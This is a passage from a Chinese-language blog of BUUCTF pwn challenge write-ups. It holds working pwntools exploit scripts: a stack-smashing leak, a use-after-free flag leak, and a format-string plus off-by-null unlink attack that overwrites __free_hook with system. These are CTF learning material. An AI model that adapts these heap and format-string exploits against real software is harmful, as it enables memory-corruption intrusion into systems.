    environ = libc_base + libc.dump("environ")
    
    conn.recvuntil("Please type your guessing flag")
    payload = p64(0x4141414141414141)*37 + p64(environ)
    conn.sendline(payload)
    conn.recvuntil("*** stack smashing detected ***: ")
    leak = conn.recv(6)
    leak = u64(leak.ljust(8,"\x00"))
    print "The leak is ",hex(leak)

    flag_pos = leak - 0x168
    conn.recvuntil("Please type your guessing flag")
    payload = p64(0x4141414141414141)*37 + p64(flag_pos)
    conn.sendline(payload)
    conn.recvuntil("*** stack smashing detected ***: ")   

    pause()
    conn.interactive()

gyctf_2020_some_thing_exceting

这个题目就是简单得UAF,没有溢出点,但是再free之后没有把堆地址清零,导致再libc2.23中,可以构造堆结构泄露已经读人内存得flag

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create(size1,name1,size2,name2):
    conn.recvuntil("> Now please tell me what you want to do :")
    conn.sendline("1")
    conn.recvuntil("ba's length :")
    conn.sendline(str(size1))
    conn.recvuntil("ba :")
    conn.send(name1)
    conn.recvuntil("na's length :")
    conn.sendline(str(size2))
    conn.recvuntil("na :")
    conn.send(name2)

def delete(index):
    conn.recvuntil("> Now please tell me what you want to do :")
    conn.sendline("3")
    conn.recvuntil("> Banana ID :")
    conn.sendline(str(index))

def show(index):
    conn.recvuntil("> Now please tell me what you want to do :")
    conn.sendline("4")
    conn.recvuntil("> Banana ID :")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28994
    conn = remote(HOST ,PORT)
    pause()
    
    flag = 0x6020A8
    create(0x20,"ready",0x20,"ready")
    create(0x20,"ready",0x20,"ready")
    create(0x20,"ready",0x20,"ready")
    delete(0)
    delete(1)
    delete(2)
    create(0x10,p64(flag),0x10,p64(flag))
    show(0)

    pause()
    conn.interactive()

axb_2019_heap

这个题目居然卡了一天,真的是狠狠的打醒了我这个题目算是基础题中比较综合得题目了。先分析一下题目
首先在banner函数中有一个明显得格式化字符串漏洞
BUUCTF【pwn】解题记录(1-3页已完结)_第34张图片
然后打脸点之一,需要细心去看get_input函数,然后就会发现存在off-by-one漏洞,写入得时候可以多写一位(还是要细心呀!!!)
BUUCTF【pwn】解题记录(1-3页已完结)_第35张图片

然后就是发现限制了申请堆块得大小,不能随意使用fastbin了
BUUCTF【pwn】解题记录(1-3页已完结)_第36张图片

然后结合题目情况,我们构想如下思路

  • 利用format泄露libc和程序基地址
  • 利用一比特溢出,实现off-by-null,配合unlink攻击控制全局变量table
  • 修改free_hook即可,然后调用system函数

这里不得不说unlink得触发条件,是通过free过程中合并前后得空闲块调用得unlink函数,我之前就错误得以为malloc空闲块也会维护双向链表。但是实际上任何chunk在malloc时候都会先变成unsorted bin,就变成了unsorted bin attack

思路清楚了就很简单了,代码如下:

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add_note(idx,size,content):
    conn.recvuntil(">>")
    conn.sendline("1")
    conn.recvuntil("Enter the index you want to create (0-10):")
    conn.sendline(str(idx))
    conn.recvuntil("Enter a size:")
    conn.sendline(str(size))
    conn.recvuntil("Enter the content:")
    conn.sendline(content)

def delete(index):
    conn.recvuntil(">>")
    conn.sendline("2")
    conn.recvuntil("Enter an index:")
    conn.sendline(str(index))

def edit_note(index,content):
    conn.recvuntil(">>")
    conn.sendline("4")
    conn.recvuntil("Enter an index:")
    conn.sendline(str(index))
    conn.recvuntil("Enter the content:")
    conn.sendline(content)

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26084
    conn = remote(HOST ,PORT)
    pause()
    
    '''第一步:通过格式化字符串泄露libc和程序基地址'''
    conn.recvuntil("Enter your name: ")
    name = "%15$p,%14$p"
    conn.sendline(name)
    conn.recvuntil("Hello, ")
    libc_leak = int(conn.recvuntil(",",drop=True),16)
    stack_leak = int(conn.recvuntil("\n",drop=True),16)
    print "The libc leak is",hex(libc_leak)
    print "The stack leak is",hex(stack_leak)

    code_base = stack_leak - 0x1200
    libc = LibcSearcher("__libc_start_main",libc_leak-240 )
    libc_base = libc_leak - 240 - libc.dump("__libc_start_main")
    note = code_base + 0x202060
    __free_hook = libc_base + libc.dump("__free_hook")
    system = libc_base + libc.dump("system")

    '''第二步:构造fake chunk,通过off-by-null配合unlink篡改全局变量s'''
    add_note(0,0x98,"0")
    add_note(1,0x98,"1")
    add_note(2,0x98,"2")    
    add_note(3,0x98,"cat /flag\x00")

    payload = p64(0) + p64(0x91) + p64(note-0x18) + p64(note-0x10) + p64(0)*14 + p64(0x90) + "\xa0"
    edit_note(0,payload)
    delete(1)

    payload = p64(0)*3 + p64(__free_hook) + p64(0x100)  #需要加上大小,否则会被input函数清零最后一位
    edit_note(0,payload)            #修改s[0]=__free_hook
    edit_note(0,p64(system))        #修改[__free_hook] = system
    delete(3)
    #pause()
    conn.interactive()

你可能感兴趣的:(pwn,web安全,安全,linux)